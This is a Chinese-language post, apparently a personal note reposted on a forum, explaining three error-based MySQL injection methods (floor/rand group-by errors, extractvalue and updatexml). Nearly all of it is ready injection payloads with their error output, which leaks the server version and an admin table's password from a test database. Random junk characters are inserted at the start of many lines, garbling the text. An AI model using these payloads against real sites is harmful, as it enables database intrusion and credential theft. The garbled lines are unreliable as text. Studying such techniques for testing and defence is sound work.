关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
2 x: M7 S+ j5 m6 P: z实际测试环境：
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# m; H% F) p% P; f/ }mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
; d, f4 S4 Y* {7 `| admin          |
) s) M% r- B% D2 r: R, B| article        |
+----------------+
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2 E  d" g- R3 e: ^+ Xmysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
. i$ }  B( x3 s+-------+------------------+------+-----+---------+----------------+


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" ]1 A% l( S( G: Z5 S$ |) Bmysql> describe article;
" b5 t2 v5 R5 [! ~+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
- e# M8 W# `% T# _% |+---------+------------------+------+-----+---------+----------------+
9 l. A* x/ N% y. |$ z| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码
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and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
0 G2 c9 U" ]6 D9 t% hfrom information_schema.tables group by x)a);


and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
% s* C( N4 G9 pfloor(rand(0)*2)));
举例如下：
2 J) `" I7 z6 b9 B8 r) x" ~首先进行正常查询：
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mysql> select * from article where id = 1;
+----+-------+---------+
' A, ~0 O; X6 u8 T| id | title | content |
+----+-------+---------+
' a$ A0 E6 q2 T& ]4 @+ ^6 H  }. m, d3 g|  1 | test  | do it   |
+----+-------+---------+
+ o5 ~, \$ B5 p假如id输入存在注入的话，可以通过如下语句进行报错。


mysql> select * from article where id = 1 and (select 1 from
2 y# m1 f' {7 r, o4 B- x(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
Method1:

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7 h1 }. x/ q7 i* D6 n/ l2 D9 {5 Rmysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
" U2 Q; W/ Q1 i5 A- \* Xfrom information_schema.tables group by x)a);
0 C+ `1 ~1 @: N* g  i9 CERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
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mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
6 F; i' a! A5 `) uERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
, j; e- \0 s7 f' T2、ExtractValue
测试语句如下


and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程


mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
* }' s  B+ c! t! A4 W' R测试语句
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and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程

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mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
* a* k0 x! {+ r* q3 RERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

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